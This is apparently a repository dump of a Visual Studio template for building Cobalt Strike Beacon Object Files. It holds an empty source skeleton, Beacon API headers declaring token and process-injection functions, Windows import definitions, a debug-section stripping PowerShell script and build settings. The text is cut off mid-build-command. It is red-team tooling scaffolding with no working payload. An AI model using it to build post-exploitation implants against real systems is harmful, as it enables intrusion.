├── .gitignore ├── Beacon Object File ├── MyTemplate.vstemplate ├── Source.c ├── __PreviewImage.jpg ├── __TemplateIcon.jpg ├── beacon.h ├── bofdefs.h ├── resources │ └── strip_bof.ps1 ├── scheduled-tasks.vcxproj └── scheduled-tasks.vcxproj.filters ├── README.md ├── examples ├── applocker-enumerator │ ├── AppLockerPolicy.h │ ├── Source.c │ ├── applocker-enumerator.vcxproj │ ├── applocker-enumerator.vcxproj.filters │ ├── applocker-enumerator.vcxproj.user │ ├── beacon.h │ ├── bofdefs.h │ └── resources │ │ └── strip_bof.ps1 ├── demo-bof.cna ├── example-bof.sln └── scheduled-tasks │ ├── Source.cpp │ ├── beacon.h │ ├── bofdefs.h │ ├── resources │ └── strip_bof.ps1 │ ├── scheduled-tasks.vcxproj │ ├── scheduled-tasks.vcxproj.filters │ └── scheduled-tasks.vcxproj.user └── images ├── NewProjectWizard.png ├── TemplatesLocation.png ├── building.png ├── building2.png ├── code1.png ├── errors.png ├── output.png └── project_structure.png /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /Beacon Object File/MyTemplate.vstemplate: -------------------------------------------------------------------------------- 1 | 2 | 3 | Beacon Object File 4 | Create Cobalt Strike Beacon Object Files. Author: @yas_o_h 5 | VC 6 | 7 | 8 | 1000 9 | true 10 | Beacon Object File 11 | true 12 | Enabled 13 | true 14 | __TemplateIcon.jpg 15 | __PreviewImage.jpg 16 | 17 | 18 | 19 | scheduled-tasks.vcxproj.filters 20 | beacon.h 21 | bofdefs.h 22 | Source.cpp 23 | RESOURCES\strip_bof.ps1 24 | 25 | 26 | -------------------------------------------------------------------------------- /Beacon Object File/Source.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "bofdefs.h" 4 | 5 | 6 | 7 | #pragma region error_handling 8 | #define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr) 9 | BOOL _print_error(char* func, int line, char* msg, HRESULT hr) { 10 | #ifdef BOF 11 | BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr); 12 | #else 13 | printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr); 14 | #endif // BOF 15 | 16 | return FALSE; 17 | } 18 | #pragma endregion 19 | 20 | 21 | 22 | 23 | #ifdef BOF 24 | void go(char* buff, int len) { 25 | 26 | } 27 | 28 | 29 | #else 30 | 31 | void main(int argc, char* argv[]) { 32 | 33 | } 34 | 35 | #endif -------------------------------------------------------------------------------- /Beacon Object File/__PreviewImage.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/Beacon Object File/__PreviewImage.jpg -------------------------------------------------------------------------------- /Beacon Object File/__TemplateIcon.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/securifybv/Visual-Studio-BOF-template/f7eb92c5d9a137451a6a94343c86e693f79bfe9d/Beacon Object File/__TemplateIcon.jpg -------------------------------------------------------------------------------- /Beacon Object File/beacon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | /* 4 | * Beacon Object Files (BOF) 5 | * ------------------------- 6 | * A Beacon Object File is a light-weight post exploitation tool that runs 7 | * with Beacon's inline-execute command. 8 | * 9 | * Cobalt Strike 4.1. 10 | */ 11 | 12 | /* data API */ 13 | typedef struct { 14 | char * original; /* the original buffer [so we can free it] */ 15 | char * buffer; /* current pointer into our buffer */ 16 | int length; /* remaining length of data */ 17 | int size; /* total size of this buffer */ 18 | } datap; 19 | 20 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 21 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 22 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 23 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 24 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 25 | 26 | /* format API */ 27 | typedef struct { 28 | char * original; /* the original buffer [so we can free it] */ 29 | char * buffer; /* current pointer into our buffer */ 30 | int length; /* remaining length of data */ 31 | int size; /* total size of this buffer */ 32 | } formatp; 33 | 34 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 35 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 36 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 37 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 38 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 39 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 40 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 41 | 42 | /* Output Functions */ 43 | #define CALLBACK_OUTPUT 0x0 44 | #define CALLBACK_OUTPUT_OEM 0x1e 45 | #define CALLBACK_ERROR 0x0d 46 | #define CALLBACK_OUTPUT_UTF8 0x20 47 | 48 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 49 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 50 | 51 | /* Token Functions */ 52 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 53 | DECLSPEC_IMPORT void BeaconRevertToken(); 54 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 55 | 56 | /* Spawn+Inject Functions */ 57 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 58 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 59 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 60 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 61 | 62 | /* Utility Functions */ 63 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 64 | -------------------------------------------------------------------------------- /Beacon Object File/bofdefs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | /* some code and/or ideas are from trustedsec SA Github repo -- thankyou trustedsec! */ 3 | #include 4 | 5 | 6 | #ifdef BOF 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | #include "beacon.h" 13 | 14 | void go(char* buff, int len); 15 | 16 | /* COM */ 17 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString(LPCWSTR, LPCLSID); 18 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID* ppv); 19 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID, DWORD); 20 | DECLSPEC_IMPORT VOID WINAPI OLE32$CoUninitialize(); 21 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString(LPWSTR lpsz, LPIID lpiid); 22 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitialize(LPVOID pvReserved); 23 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstanceEx(REFCLSID, IUnknown*, DWORD, COSERVERINFO*, DWORD, MULTI_QI*); 24 | DECLSPEC_IMPORT BSTR WINAPI OleAut32$SysAllocString(const OLECHAR*); 25 | DECLSPEC_IMPORT LPVOID WINAPI OLEAUT32$VariantInit(VARIANTARG* pvarg); 26 | DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity(PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE* asAuthSvc, void* pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void* pAuthList, DWORD dwCapabilities, void* pReserved3); 27 | 28 | /* Registry */ 29 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult); 30 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegDeleteTreeA(HKEY hKey, LPCSTR lpSubKey); 31 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegCreateKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD Reserved, LPSTR lpClass, DWORD dwOptions, REGSAM samDesired, 32 | CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes, PHKEY phkResult, LPDWORD lpdwDisposition); 33 | DECLSPEC_IMPORT LSTATUS APIENTRY ADVAPI32$RegSetValueExA(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, 34 | CONST BYTE* lpData, DWORD cbData); 35 | 36 | 37 | /* FileSystem */ 38 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile); 39 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$SetFilePointer(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod); 40 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetFilePointerEx(HANDLE hFile, LARGE_INTEGER liDistanceToMove, PLARGE_INTEGER lpDistanceToMoveHigh, DWORD dwMoveMethod); 41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped); 42 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetFileSizeEx(HANDLE hFile, PLARGE_INTEGER lpFileSize); 43 | DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeW(LPCWSTR lptstrFilenamea, LPDWORD lpdwHandle); 44 | DECLSPEC_IMPORT BOOL WINAPI VERSION$GetFileVersionInfoW(LPCWSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); 45 | DECLSPEC_IMPORT BOOL WINAPI VERSION$VerQueryValueW(LPCVOID pBlock, LPCWSTR lpSubBlock, LPVOID* lplpBuffer, PUINT puLen); 46 | 47 | 48 | /* Memory */ 49 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 50 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID); 51 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapReAlloc(HANDLE hHeap, DWORD dwFlags, LPVOID lpMem, SIZE_T dwBytes); 52 | DECLSPEC_IMPORT void* __cdecl MSVCRT$memcpy(LPVOID, LPVOID, size_t); 53 | DECLSPEC_IMPORT void __cdecl MSVCRT$memset(void*, int, size_t); 54 | 55 | 56 | /* Process */ 57 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 58 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CreateProcessWithLogonW(LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 59 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap(); 60 | DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); 61 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process); 62 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead); 63 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 64 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID); 65 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$LookupPrivilegeValueW(LPCWSTR lpSystemName, LPCWSTR lpName, PLUID lpLuid); 66 | DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExW(HANDLE hProcess, HMODULE hModule, LPWSTR lpFilename, DWORD nSize); 67 | 68 | 69 | /* GetLast Error */ 70 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(VOID); 71 | 72 | 73 | /* Directories */ 74 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$RemoveDirectoryA(LPCSTR); 75 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateDirectoryA(LPCSTR lpPathName, LPSECURITY_ATTRIBUTES lpSecurityAttributes); 76 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$MoveFileA(LPCSTR lpExistingFileName, LPCSTR lpNewFileName); 77 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathIsDirectoryA(LPCSTR); 78 | DECLSPEC_IMPORT BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath); 79 | 80 | 81 | /* strings */ 82 | DECLSPEC_IMPORT PSTR WINAPI SHLWAPI$StrChrA(PCSTR pszStart, WORD wMatch); 83 | DECLSPEC_IMPORT LPSTR __cdecl MSVCRT$strchr(LPSTR, int); 84 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcat_s(LPSTR, size_t, LPCSTR); 85 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strcpy_s(LPSTR, size_t, LPCSTR); 86 | DECLSPEC_IMPORT errno_t __cdecl MSVCRT$strncpy_s(LPSTR, size_t, LPCSTR, size_t); 87 | DECLSPEC_IMPORT int __cdecl MSVCRT$_snprintf(LPSTR, size_t, LPCSTR, ...); 88 | DECLSPEC_IMPORT void WINAPI MSVCRT$sprintf(char*, char[], ...); 89 | DECLSPEC_IMPORT int __cdecl MSVCRT$_vsnprintf(LPSTR, size_t, LPCSTR, va_list); 90 | DECLSPEC_IMPORT size_t __cdecl MSVCRT$wcslen(LPCWSTR); 91 | DECLSPEC_IMPORT int __cdecl MSVCRT$strcmp(const char* _Str1, const char* _Str2); 92 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpyA(LPSTR lpString1, LPCSTR lpString2); 93 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcatA(LPSTR lpString1, LPCSTR lpString2); 94 | DECLSPEC_IMPORT LPSTR WINAPI Kernel32$lstrcpynA(LPSTR lpString1, LPCSTR lpString2, int iMaxLength); 95 | DECLSPEC_IMPORT int WINAPI KERNEL32$lstrlenW(LPCWSTR lpString); 96 | DECLSPEC_IMPORT LPWSTR WINAPI KERNEL32$lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2); 97 | 98 | 99 | /* RPC */ 100 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$RpcStringFreeA(RPC_CSTR* String); 101 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidCreate(UUID* Uuid); 102 | DECLSPEC_IMPORT RPC_STATUS RPC_ENTRY Rpcrt4$UuidToStringA(const UUID* Uuid, RPC_CSTR* StringUuid); 103 | 104 | 105 | /* Random */ 106 | DECLSPEC_IMPORT void WINAPI MSVCRT$srand(int initial); 107 | DECLSPEC_IMPORT int WINAPI MSVCRT$rand(); 108 | 109 | 110 | /* DateTime */ 111 | DECLSPEC_IMPORT time_t WINAPI MSVCRT$time(time_t* time); 112 | 113 | 114 | /* SystemInfo */ 115 | DECLSPEC_IMPORT void WINAPI KERNEL32$GetSystemInfo(LPSYSTEM_INFO lpSystemInfo); 116 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$IsProcessorFeaturePresent(DWORD ProcessorFeature); 117 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); 118 | 119 | 120 | 121 | 122 | 123 | 124 | #ifdef __cplusplus 125 | } 126 | #endif 127 | 128 | 129 | /* helper macros */ 130 | 131 | #define malloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) /* trustedsec */ 132 | #define free(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, (LPVOID)addr) /* trustedsec */ 133 | #define ZeroMemory(address, size) memset(address, 0, size); 134 | 135 | 136 | /* ----------------------------------- DEFINITIONS ------------------------------------------*/ 137 | 138 | /* COM */ 139 | #define CLSIDFromString OLE32$CLSIDFromString 140 | #define CoCreateInstance OLE32$CoCreateInstance 141 | #define CoInitializeEx OLE32$CoInitializeEx 142 | #define CoUninitialize OLE32$CoUninitialize 143 | #define IIDFromString OLE32$IIDFromString 144 | #define CoInitialize OLE32$CoInitialize 145 | #define CoCreateInstanceEx OLE32$CoCreateInstanceEx 146 | #define SysAllocString OleAut32$SysAllocString 147 | #define VariantInit OLEAUT32$VariantInit 148 | #define CoInitialize OLE32$CoInitialize 149 | #define CoInitializeSecurity OLE32$CoInitializeSecurity 150 | 151 | /* memory */ 152 | #define HeapFree KERNEL32$HeapFree 153 | #define HeapAlloc KERNEL32$HeapAlloc 154 | #define HeapReAlloc KERNEL32$HeapReAlloc 155 | #define memcpy MSVCRT$memcpy 156 | #define memset MSVCRT$memset 157 | 158 | 159 | /* process */ 160 | #define GetProcessHeap KERNEL32$GetProcessHeap 161 | #define CreateProcessWithLogonW ADVAPI32$CreateProcessWithLogonW 162 | #define OpenProcess KERNEL32$OpenProcess 163 | #define VirtualQueryEx KERNEL32$VirtualQueryEx 164 | #define GetProcessId KERNEL32$GetProcessId 165 | #define ReadProcessMemory KERNEL32$ReadProcessMemory 166 | #define GetCurrentProcess KERNEL32$GetCurrentProcess 167 | #define Sleep KERNEL32$Sleep 168 | #define LookupPrivilegeValueW ADVAPI32$LookupPrivilegeValueW 169 | #define GetModuleFileNameExW PSAPI$GetModuleFileNameExW 170 | 171 | 172 | /* debug */ 173 | #define EnumerateLoadedModulesW64 DBGHELP$EnumerateLoadedModulesW64 174 | #define SymInitializeW DBGHELP$SymInitializeW 175 | #define SymCleanup DBGHELP$SymCleanup 176 | 177 | 178 | /* filesystem */ 179 | #define CreateFileA KERNEL32$CreateFileA 180 | #define SetFilePointer KERNEL32$SetFilePointer 181 | #define SetFilePointerEx KERNEL32$SetFilePointerEx 182 | #define WriteFile KERNEL32$WriteFile 183 | #define GetFileSizeEx KERNEL32$GetFileSizeEx 184 | #define GetFileVersionInfoSizeW VERSION$GetFileVersionInfoSizeW 185 | #define GetFileVersionInfoW VERSION$GetFileVersionInfoW 186 | #define VerQueryValueW VERSION$VerQueryValueW 187 | 188 | /* error */ 189 | #define GetLastError KERNEL32$GetLastError 190 | 191 | 192 | /* registry */ 193 | #define RegOpenKeyExA ADVAPI32$RegOpenKeyExA 194 | #define RegDeleteTreeA ADVAPI32$RegDeleteTreeA 195 | #define RegCreateKeyExA ADVAPI32$RegCreateKeyExA 196 | #define RegSetValueExA ADVAPI32$RegSetValueExA 197 | 198 | 199 | /* directory */ 200 | #define RemoveDirectoryA KERNEL32$RemoveDirectoryA 201 | #define CreateDirectoryA KERNEL32$CreateDirectoryA 202 | #define MoveFileA KERNEL32$MoveFileA 203 | #define PathIsDirectoryA SHLWAPI$PathIsDirectoryA 204 | #define PathFileExistsA SHLWAPI$PathFileExistsA 205 | 206 | 207 | /* strings */ 208 | #define strchr MSVCRT$strchr 209 | #define strcat_s MSVCRT$strcat_s 210 | #define strcpy_s MSVCRT$strcpy_s 211 | #define strncpy_s MSVCRT$strncpy_s 212 | #define snprintf MSVCRT$_snprintf /*beacon can't find snprintf without the preceeding '_' */ 213 | #define wcslen MSVCRT$wcslen 214 | #define vsnprintf MSVCRT$vsnprintf 215 | #define lstrlenW KERNEL32$lstrlenW 216 | #define lstrcpyW KERNEL32$lstrcpyW 217 | #define strcmp MSVCRT$strcmp 218 | #define lstrcpyA Kernel32$lstrcpyA 219 | #define lstrcatA Kernel32$lstrcatA 220 | #define lstrcpynA Kernel32$lstrcpynA 221 | #define lstrlenW KERNEL32$lstrlenW 222 | #define lstrcpyW KERNEL32$lstrcpyW 223 | #define sprintf MSVCRT$sprintf 224 | 225 | 226 | /* RPC */ 227 | #define RpcStringFreeA Rpcrt4$RpcStringFreeA 228 | #define UuidCreate Rpcrt4$UuidCreate 229 | #define UuidToStringA Rpcrt4$UuidToStringA 230 | 231 | 232 | /* Random */ 233 | #define srand MSVCRT$srand 234 | #define rand MSVCRT$rand 235 | 236 | 237 | /* DateTime */ 238 | #define time MSVCRT$time 239 | 240 | 241 | /* SystemInfo */ 242 | #define GetSystemInfo KERNEL32$GetSystemInfo 243 | #define GetUserNameW ADVAPI32$GetUserNameW 244 | #define IsProcessorFeaturePresent KERNEL32$IsProcessorFeaturePresent 245 | 246 | #else 247 | 248 | #endif 249 | -------------------------------------------------------------------------------- /Beacon Object File/resources/strip_bof.ps1: -------------------------------------------------------------------------------- 1 | function strip-bof { 2 | <# 3 | .SYNOPSIS 4 | Removes debug symbols from a beacon object file 5 | 6 | Heavily dependent on code by Matthew Graeber (@mattifestation) 7 | Original code: https://www.powershellgallery.com/packages/PowerSploit/1.0.0.0/Content/PETools%5CGet-ObjDump.ps1 8 | Author: Yasser Alhazmi (@yas_o_h) 9 | License: BSD 3-Clause 10 | 11 | .PARAMETER Path 12 | 13 | Specifies a path to one or more object file locations. 14 | 15 | .EXAMPLE 16 | 17 | C:\PS>strip-bof -Path main.obj 18 | 19 | #> 20 | 21 | [CmdletBinding()] Param ( 22 | [Parameter(Position = 0, Mandatory = $True)] 23 | [ValidateScript({ Test-Path $_ })] 24 | [String] 25 | $Path 26 | ) 27 | 28 | 29 | $Code = @' 30 | using System; 31 | using System.IO; 32 | using System.Text; 33 | 34 | namespace COFF 35 | { 36 | 37 | 38 | public class SECTION_HEADER 39 | { 40 | public string Name; 41 | public uint PhysicalAddress; 42 | public uint VirtualSize; 43 | public uint VirtualAddress; 44 | public uint SizeOfRawData; 45 | public uint PointerToRawData; 46 | public uint PointerToRelocations; 47 | public uint PointerToLinenumbers; 48 | public ushort NumberOfRelocations; 49 | public ushort NumberOfLinenumbers; 50 | public uint Characteristics; 51 | public Byte[] RawData; 52 | 53 | public SECTION_HEADER(BinaryReader br) 54 | { 55 | this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; 56 | this.PhysicalAddress = br.ReadUInt32(); 57 | this.VirtualSize = this.PhysicalAddress; 58 | this.VirtualAddress = br.ReadUInt32(); 59 | this.SizeOfRawData = br.ReadUInt32(); 60 | this.PointerToRawData = br.ReadUInt32(); 61 | this.PointerToRelocations = br.ReadUInt32(); 62 | this.PointerToLinenumbers = br.ReadUInt32(); 63 | this.NumberOfRelocations = br.ReadUInt16(); 64 | this.NumberOfLinenumbers = br.ReadUInt16(); 65 | this.Characteristics = br.ReadUInt32(); 66 | } 67 | } 68 | 69 | 70 | public class HEADER 71 | { 72 | public ushort Machine; 73 | public ushort NumberOfSections; 74 | public uint TimeDateStamp; 75 | public uint PointerToSymbolTable; 76 | public uint NumberOfSymbols; 77 | public ushort SizeOfOptionalHeader; 78 | public ushort Characteristics; 79 | 80 | public HEADER(BinaryReader br) 81 | { 82 | this.Machine = br.ReadUInt16(); 83 | this.NumberOfSections = br.ReadUInt16(); 84 | this.TimeDateStamp = br.ReadUInt32(); 85 | this.PointerToSymbolTable = br.ReadUInt32(); 86 | this.NumberOfSymbols = br.ReadUInt32(); 87 | this.SizeOfOptionalHeader = br.ReadUInt16(); 88 | this.Characteristics = br.ReadUInt16(); 89 | } 90 | } 91 | } 92 | '@ 93 | 94 | Add-Type -TypeDefinition $Code 95 | Write-Host "enumerating sections..." 96 | try { 97 | $FileStream = [IO.File]::OpenRead($Path) 98 | $BinaryReader = New-Object IO.BinaryReader($FileStream) 99 | $CoffHeader = New-Object COFF.HEADER($BinaryReader) 100 | 101 | # Parse section headers 102 | $SectionHeaders = New-Object COFF.SECTION_HEADER[]($CoffHeader.NumberOfSections) 103 | 104 | for ($i = 0; $i -lt $CoffHeader.NumberOfSections; $i++) 105 | { 106 | $SectionHeaders[$i] = New-Object COFF.SECTION_HEADER($BinaryReader) 107 | 108 | if($SectionHeaders[$i].Name.Contains("debug")){ 109 | Write-Host "found debug section.. zeroing it..." 110 | $FileStream.Close(); 111 | $FileStream2 = [IO.File]::OpenWrite($Path) 112 | $FileStream2.Seek($SectionHeaders[$i].PointerToRawData, 'Begin') | Out-Null 113 | for($x = 0; $x -lt $SectionHeaders[$i].SizeOfRawData; $x++){ 114 | $FileStream2.WriteByte(0) 115 | } 116 | Write-Host "closing stream..."; 117 | $FileStream2.Close(); 118 | Write-Host "done!"; 119 | return; 120 | } 121 | } 122 | } catch { 123 | Add-Type -AssemblyName PresentationFramework 124 | [System.Windows.MessageBox]::Show("error stripping debug symbols: " + $_.ToString()); 125 | return; 126 | } 127 | } -------------------------------------------------------------------------------- /Beacon Object File/scheduled-tasks.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | BOF 6 | Win32 7 | 8 | 9 | Debug 10 | Win32 11 | 12 | 13 | Release 14 | Win32 15 | 16 | 17 | BOF 18 | x64 19 | 20 | 21 | Debug 22 | x64 23 | 24 | 25 | Release 26 | x64 27 | 28 | 29 | 30 | 16.0 31 | Win32Proj 32 | {$guid1$} 33 | $safeprojectname$ 34 | 10.0 35 | scheduled-tasks 36 | 37 | 38 | 39 | Application 40 | true 41 | v142 42 | Unicode 43 | 44 | 45 | Application 46 | false 47 | v142 48 | true 49 | Unicode 50 | 51 | 52 | Application 53 | true 54 | v142 55 | Unicode 56 | 57 | 58 | Application 59 | false 60 | v142 61 | true 62 | Unicode 63 | 64 | 65 | v142 66 | Console 67 | 68 | 69 | 70 | 71 | Console 72 | 73 | v142 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o;$(ExtensionsToDeleteOnClean) 97 | 98 | $(SolutionDir)bin\$(Configuration)\ 99 | intermediary\$(Configuration)\$(Platform)\ 100 | $(ProjectName)x64 101 | 102 | 103 | $(SolutionDir)bin\$(Configuration)\$(ProjectName).x86.obj;*.cdf;*.cache;*.obj;*.obj.enc;*.ilk;*.ipdb;*.iobj;*.resources;*.tlb;*.tli;*.tlh;*.tmp;*.rsp;*.pgc;*.pgd;*.meta;*.tlog;*.manifest;*.res;*.pch;*.exp;*.idb;*.rep;*.xdc;*.pdb;*_manifest.rc;*.bsc;*.sbr;*.xml;*.metagen;*.bi;$(ExtensionsToDeleteOnClean) 104 | 105 | $(SolutionDir)bin\$(Configuration)\ 106 | $(ProjectName)x32 107 | intermediary\$(Configuration)\x86\ 108 | 109 | 110 | $(SolutionDir)bin\$(Configuration)\ 111 | $(ProjectName)64 112 | 113 | 114 | $(SolutionDir)bin\$(Configuration)\ 115 | $(ProjectName)32 116 | 117 | 118 | $(SolutionDir)bin\$(Configuration)\ 119 | $(ProjectName)32 120 | 121 | 122 | $(SolutionDir)bin\$(Configuration)\ 123 | $(ProjectName)64 124 | 125 | 126 | 127 | EnableAllWarnings 128 | true 129 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 130 | false 131 | 132 | 133 | Level1 134 | 135 | 136 | Console 137 | true 138 | 139 | 140 | 141 | 142 | Level4 143 | true 144 | true 145 | true 146 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 147 | false 148 | Level1 149 | 150 | 151 | 152 | 153 | Console 154 | true 155 | true 156 | true 157 | 158 | 159 | 160 | 161 | EnableAllWarnings 162 | true 163 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 164 | false 165 | true 166 | Level1 167 | 168 | 169 | Console 170 | true 171 | 172 | 173 | 174 | 175 | Level4 176 | true 177 | true 178 | true 179 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 180 | false 181 | Level1 182 | 183 | 184 | Console 185 | true 186 | true 187 | true 188 | 189 | 190 | 191 | 192 | /c /Fo"intermediary\BOF\x64\source" 193 | 194 | 195 | None 196 | false 197 | BOF;%(PreprocessorDefinitions) 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | Level1 222 | 223 | 224 | xcopy /y "$(SolutionDir)$(ProjectName)\intermediary\$(Configuration)\$(Platform)\source.obj" "$(SolutionDir)bin\$(Configuration)\$(ProjectName).x64.o*"; 225 | powershell -ExecutionPolicy Unrestricted -command "& { . '$(SolutionDir)$(ProjectName)\resources\strip_bof.ps1'; strip-bof -Path 